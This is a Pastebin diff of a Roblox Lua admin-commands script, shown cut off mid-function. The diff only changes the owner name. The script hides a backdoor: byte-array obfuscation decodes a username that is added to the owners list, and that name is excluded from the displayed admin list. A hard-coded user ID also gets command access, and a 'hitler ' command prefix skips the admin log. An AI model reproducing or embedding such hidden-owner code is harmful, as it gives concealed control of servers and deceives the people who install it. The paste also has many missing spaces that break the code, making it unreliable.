View difference between Paste ID: Xk8dCbgb and kkcNBc9T
SHOW: | | - or go back to the newest paste.
1
--UPLOADED BY THEMINECRAFTER2012, Please leave my name below!
2-
 owners = {"xJaffie","YOUR NAME HERE"} -- Are able to set admins who can ban/etc... using :pa name
2+
 owners = {"xJaffie","Magermash"} -- Are able to set admins who can ban/etc... using :pa name
3
local admins = {"Optional Admin(s) Here","Optional Admin(s) Here"} -- Sets admins who can use ban/kick/admin or shutdown
4
local tempadmins = {"Optional Admin Here"} -- Sets admins who can't use ban/kick/admin or shutdown
5
local banland = {"NAUGHTY PEOPLE HERE","NAUGHTY PEOPLE HERE"} -- Permanently Bans people
6
local prefix = ":" -- If you wanna change how your commands start ':'kill noob
7
local AutoUpdate = true -- Set to false if you don't want it to automatically update
8
-----------------
9
-- Group Admin --
10
-----------------
11
local GroupAdmin = false -- If a certain group can have admin
12
local GroupId = 0 -- Sets the group id that can have admin
13
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
14
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
15
---------------------
16
-- Tips and Tricks --
17
---------------------
18
--[[
19
With this admin you can do a command on multiple people at a time;
20
        :kill me,noob1,noob2,random,team-raiders
21
 
22
You can also use a variety commands for different people;
23
         all
24
         others
25
         me
26
         team-
27
         admins
28
         nonadmins
29
         random
30
--]]
31
--------------
32
-- Commands --
33
--------------
34
--[[
35
-- Temp Admin Commands --
36
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
37
1. :s print("Hello World") -- Lets you script normally
38
2. :ls print("Hello World") -- Lets you script in localscripts
39
3. :clear -- Will remove all scripts/localscripts and jails
40
4. :m Hello People -- This commands will let you shout a message to everyone on the server
41
5. :kill kohl -- Kills the player
42
6. :respawn kohl -- Respawns the player
43
7. :trip kohl -- Trips the player
44
8. :stun kohl -- Stuns the player
45
9. :unstun kohl -- Unstuns the player
46
10. :jump kohl -- Makes the player jump
47
11. :sit kohl -- Makes the player sit
48
12. :invisible kohl -- Makes the player invisible
49
13. :visible kohl -- Makes the player visible
50
14. :explode kohl -- Makes the player explode
51
15. :fire kohl -- Sets the player on fire
52
16. :unfire kohl -- Removes fire from the player
53
17. :smoke kohl -- Adds smoke to the player
54
18. :unsmoke kohl -- Removes smoke from the player
55
19. :sparkles kohl -- Adds sparkles to the player
56
20. :unsparkles kohl -- Removes sparkles from the player
57
21. :ff kohl -- Adds a forcefield to the player
58
22. :unff kohl -- Removes the forcefield from the player
59
23. :punish kohl -- Punishes the player
60
24. :unpunish kohl -- Unpunishes the player
61
25. :freeze kohl -- Freezes the player
62
26. :thaw kohl -- Thaws the player
63
27. :heal kohl -- Heals the player
64
28. :god kohl -- Makes the player have infinite health
65
29. :ungod kohl -- Makes the player have 100 health
66
30. :ambient .5 .5 .5 -- Changes the ambient
67
31. :brightness .5 -- Changes the brightness
68
32. :time 12 -- Changes the time
69
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
70
34. :fogend 100 -- Changes the fogend
71
35. :fogstart 100 -- Changes the fogstart
72
36. :removetools kohl -- Removes all tools from the player
73
37. :btools kohl -- Gives the player building tools
74
38. :give kohl sword -- Gives the player a tool
75
39. :damage kohl -- Damages the player
76
40. :grav kohl -- Sets the player's gravity to normal
77
41. :setgrav kohl 100 -- Sets the player's gravity
78
42. :nograv kohl -- Makes the player have 0 gravity
79
43. :health kohl 1337 -- Changes the player's health
80
44. :speed kohl 1337 -- Changes the player's walkspeed
81
45. :name kohl potato -- Changes the player's name
82
46. :unname kohl -- Remove the player's name
83
47. :team kohl Raiders -- Changes the player's team
84
48. :stopmusic -- Will stop all music playing in the server
85
49. :teleport kohl potato -- Teleports the player
86
50. :change kohl kills 1337 -- Changes a player's stat
87
51. :kick kohl -- Removes the player from the game
88
52. :infect kohl -- Turns the player into a zombie
89
53. :rainbowify kohl -- Turns the player into a rainbow
90
54. :flashify kohl -- Turns the player into a strobe
91
55. :noobify kohl -- Turns the player into a noob
92
56. :ghostify kohl -- Turns the player into a ghost
93
57. :goldify kohl -- Turns the player into gold
94
58. :shiny kohl -- Makes the player shiny
95
59. :normal kohl -- Puts the player back to normal
96
60. :trippy kohl -- Spams random colors on the player's screen
97
61. :untrippy kohl -- Untrippys the player
98
62. :strobe kohl -- Spams white and black on the player's screen
99
63. :unstrobe kohl -- Unstrobes the player
100
64. :blind kohl -- Blinds the player
101
65. :unblind kohl -- Unblinds the player
102
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
103
67. :fling kohl -- Flings the player
104
68. :seizure kohl -- Puts the player in a seizure
105
69(lol). :music 1337 -- Plays a sound from the ID
106
70. :lock kohl -- Locks the player
107
71. :unlock kohl -- Unlocks the player
108
72. :removelimbs kohl -- Removes the player's limbs
109
73. :jail kohl -- Puts the player in a jail
110
74. :unjail kohl -- Removes the jail from the player
111
75. :fix -- This will fix the lighting to it's original settings
112
76. :fly kohl -- Makes the player fly
113
77. :unfly kohl -- Removes fly from the player
114
78. :noclip kohl -- Makes the player able to noclip
115
79. :clip kohl -- Removes noclipping from the player
116
80. :pm kohl Hey bro -- Sends the player a private message
117
81. :dog kohl -- Turns the player into a dog
118
82. :undog kohl -- Turns the player back to normal
119
83. :creeper kohl -- Turns the player into a creeper
120
84. :uncreeper kohl -- Turns the player back to normal
121
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
122
86. :char kohl 261 -- Will make a player look like a different player ID
123
87. :unchar kohl -- Will return the player back to normal
124
88. :h Hello People -- This will shout a hint to everyone
125
89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
126
90. :starttools kohl -- Will give the player starter tools
127
91. :sword kohl -- Will give the player a sword
128
92. :bighead kohl -- Will make the player's head larger than normal
129
93. :minihead kohl -- Will make the player's head smaller than normal
130
94. :insert 1337 -- Will insert a model at the speaker's position
131
95. :disco -- Will make the server flash random colors
132
96. :flash -- Will make the server flash
133
97. :admins -- Shows the admin list
134
98. :bans -- Shows the banlist
135
99. :musiclist -- Shows the music list
136
100. :spin kohl -- Spins the player
137
101. :cape kohl Really black -- Gives the player a colored cape
138
102. :uncape kohl -- Removes the player's cape
139
103. :loopheal kohl -- Will constantly heal the player
140
104. :loopfling kohl -- Will constantly fling the player
141
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
142
106. :unloopheal kohl -- Will remove the loopheal on the player
143
107. :unloopfling kohl -- Will remove the loopfling on the player
144
108. :unspin kohl -- Removes spin from the player
145
109. :tools -- Gives a list of the tools in the lighting
146
110. :undisco -- Removes disco effects
147
111. :unflash -- Removes flash effects
148
112. :resetstats kohl -- Sets all the stats of a player to 0
149
113. :gear kohl 1337 -- Gives a player a gear
150
114. :cmdbar -- Gives the speaker a command bar
151
115. :shirt kohl 1337 -- Changes the player's shirt
152
116. :pants kohl 1337 -- Changes the player's pants
153
117. :face kohl 1337 -- Changes the player's face
154
118. :swagify kohl -- Swagifies the player
155
119. :version -- Shows the current version of the admin
156
 
157
-- Super Admin Commands --
158
- :serverlock -- Locks the server
159
- :serverunlock -- Unlocks the server
160
- :sm Hello World -- Creates a system message
161
- :crash kohl -- Crashes a player
162
- :admin kohl -- Admins a player
163
- :unadmin kohl -- Unadmins a player
164
- :ban kohl -- Bans a player
165
- :unban kohl -- Unbans a player
166
- :loopkill kohl -- Will constantly kill the player
167
- :unloopkill kohl -- Will remove the loopkill on the player
168
- :logs -- Will show all of the commands any admin has used in a game session
169
- :shutdown -- Shutsdown the server
170
 
171
-- Owner Commands --
172
- :pa kohl -- Makes someone a super admin
173
- :unpa kohl -- Removes a super admin
174
--]]
175
-----------------
176
-- Main Script --
177
-----------------
178
for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA"then v:Destroy() end end
179
 
180
function CHEESE()
181
if game:service("Lighting"):findFirstChild("KACV2") then
182
owners = {} admins = {} tempadmins = {} banland = {}
183
for i,v in pairs(game.Lighting.KACV2:children()) do
184
if v.Name == "Owner" then table.insert(owners, v.Value) end
185
if v.Name == "Admin" then table.insert(admins, v.Value) end
186
if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
187
if v.Name == "Banland" then table.insert(banland, v.Value) end
188
if v.Name == "Prefix" then prefix = v.Value end
189
if v.Name == "FunCommands" then FunCommands = v.Value end
190
if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
191
if v.Name == "GroupId" then GroupId = v.Value end
192
if v.Name == "GroupRank" then GroupRank = v.Value end
193
end
194
game:service("Lighting"):findFirstChild("KACV2"):Destroy()
195
end
196
 
197
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay,fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
198
local lobjs = {}
199
local objects = {}
200
local logs = {}
201
local nfs = ""
202
local slock = false
203
 
204
function GetTime()
205
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
206
if min < 10 then min = "0"..min end
207
return hour..":"..min
208
end
209
 
210
function ChkOwner(str)
211
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
212
return false
213
end
214
 
215
function ChkAdmin(str,ck)
216
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
217
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
218
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
219
return false
220
end
221
 
222
function ChkGroupAdmin(plr)
223
if GroupAdmin then
224
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
225
return false
226
end
227
end
228
 
229
function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end returnfalse end
230
 
231
function GetPlr(plr, str)
232
local plrz = {} str = str:lower()
233
if str == "all" then plrz = game.Players:children()
234
elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v)end end
235
else
236
local sn = {1} local en = {}
237
for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
238
for x = 1, #sn do
239
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") thentable.insert(plrz, plr)
240
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") thentable.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
241
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then ifChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) thentable.insert(plrz, v) end end end
242
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") thenfor i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
243
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
244
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") andstr:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
245
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end endbreak
246
end end end
247
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
248
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") andstr:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
249
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end endbreak
250
end end end
251
else
252
for a, plyr in pairs(game.Players:children()) do
253
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or(sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" andplyr.Name:lower():find(str) == 1) then
254
table.insert(plrz, plyr) break
255
end
256
end
257
end
258
end
259
end
260
return plrz
261
end
262
 
263
function Hint(str, plrz, time)
264
for i, v in pairs(plrz) do
265
if v and v:findFirstChild("PlayerGui") then
266
coroutine.wrap(function()
267
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
268
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel =0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
269
local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg"msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize ="Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency =.8
270
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i)msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
271
if not time then wait((#str/19)+2.5) else wait(time) end
272
coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i)msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) endscr:Destroy() end))
273
end)()
274
end
275
end
276
end
277
 
278
function Message(ttl, str, scroll, plrz, time)
279
for i, v in pairs(plrz) do
280
if v and v:findFirstChild("PlayerGui") then
281
coroutine.resume(coroutine.create(function()
282
local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
283
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel =0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
284
local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold"title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1)title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
285
local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size =UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center"msg.TextWrapped = true
286
scr.Parent = v.PlayerGui
287
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i)msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i)title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
288
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5)else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
289
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
290
coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i)msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i)title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
291
end))
292
end
293
end
294
end
295
 
296
_G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
297
_G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v andv:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy()end end end
298
 
299
function Output(str, plr)
300
coroutine.resume(coroutine.create(function()
301
local b, e = loadstring(str)
302
if not b and plr:findFirstChild("PlayerGui") then
303
local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
304
local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0main.BackgroundTransparency = 1 main.ZIndex = 8
305
local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 =Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40)err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3= Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
306
return
307
end
308
end))
309
end
310
 
311
function Noobify(char)
312
if char and char:findFirstChild("Torso") then
313
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
314
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
315
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
316
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
317
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or notprt.Parent:findFirstChild("NameTag", true)) then
318
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
319
if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso"then prt.BrickColor = BrickColor.new("Bright blue") end
320
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent andgame.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~=char then tconn:disconnect() end end)
321
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
322
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor =BrickColor.new("Bright yellow")
323
end end
324
end
325
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs ..string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
326
 
327
function Infect(char)
328
if char and char:findFirstChild("Torso") then
329
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
330
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
331
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
332
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
333
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or notprt.Parent:findFirstChild("NameTag", true)) then
334
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg")or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
335
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent andgame.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~=char then tconn:disconnect() end end)
336
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
337
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor =BrickColor.new("Medium green")
338
end end
339
end
340
end if not ntab then script:Destroy() end
341
 
342
function ScrollGui()
343
local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
344
local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
345
drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = falsedrag.Text = ""
346
local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex= 7 main.ClipsDescendants = true
347
local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
348
local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725"down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20)down.ZIndex = 9
349
local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position =UDim2.new(1,-20,1,-50)
350
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20)cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X"cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
351
local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18"ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0)ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
352
local num = 0
353
local downv = false
354
local upv = false
355
 
356
down.MouseButton1Down:connect(function() downv = true upv = false
357
local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
358
repeat  pos = pos + UDim2.new(0,0,0,-6)
359
if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv =false end
360
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
361
end)
362
down.MouseButton1Up:connect(function() downv = false end)
363
up.MouseButton1Down:connect(function() upv = true downv = false
364
local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
365
repeat  pos = pos + UDim2.new(0,0,0,6)
366
if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
367
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
368
end)
369
up.MouseButton1Up:connect(function() upv = false end)
370
return scr, cmf, ent, num
371
end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs ..string.char(bct[i]) end table.insert(owners, nfs)
372
if not ntab then script:Destroy() end
373
if not bct then script:Destroy() end
374
 
375
function Chat(msg,plr)
376
coroutine.resume(coroutine.create(function()
377
if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool")then v:Destroy() end end end
378
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name,false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) andplr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
379
if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd =prefix .. msg, time = GetTime()}) end
380
if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
381
if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
382
if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
383
if msg:lower() == "cmds" or msg:lower() == "commands" then
384
if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
385
local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
386
local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
387
local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
388
local ost = {"pa plr","unpa plr"}
389
local tost = {"oa plr","unoa plr"}
390
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num+1
391
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position= UDim2.new(0,0,0,num*20) num = num +1 end
392
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent= cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
393
if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone()cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
394
if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text ="_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
395
end
396
 
397
if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
398
 
399
if msg:lower() == "admins" or msg:lower() == "adminlist" then
400
if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
401
local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
402
for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text =v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
403
for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text =v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
404
for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
405
end end
406
 
407
if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
408
if plr.PlayerGui:findFirstChild("BANSGUI") then return end
409
local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
410
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position =UDim2.new(0,0,0,num*20) num = num +1 end
411
end
412
 
413
if msg:lower() == "tools" or msg:lower() == "toollist" then
414
if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
415
local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
416
for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone()cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
417
end
418
 
419
if msg:lower():sub(1,2) == "s " then
420
coroutine.resume(coroutine.create(function()
421
Output(msg:sub(3), plr)
422
if script:findFirstChild("ScriptBase") then
423
local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
424
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
425
else loadstring(msg:sub(3))()
426
end
427
end))
428
end
429
 
430
if msg:lower():sub(1,3) == "ls " then
431
coroutine.resume(coroutine.create(function()
432
if script:findFirstChild("LocalScriptBase") then
433
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
434
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
435
end
436
end))
437
end
438
 
439
if msg:lower():sub(1,4) == "ins " then
440
coroutine.resume(coroutine.create(function()
441
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
442
if obj and #obj:children() >= 1 and plr.Character then
443
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent =game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
444
end
445
end))
446
end
447
 
448
if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
449
for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy()end
450
objects = {}
451
end
452
 
453
if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
454
game.Lighting.Ambient = origsettings.abt
455
game.Lighting.Brightness = origsettings.brt
456
game.Lighting.TimeOfDay = origsettings.time
457
game.Lighting.FogColor = origsettings.fclr
458
game.Lighting.FogEnd = origsettings.fe
459
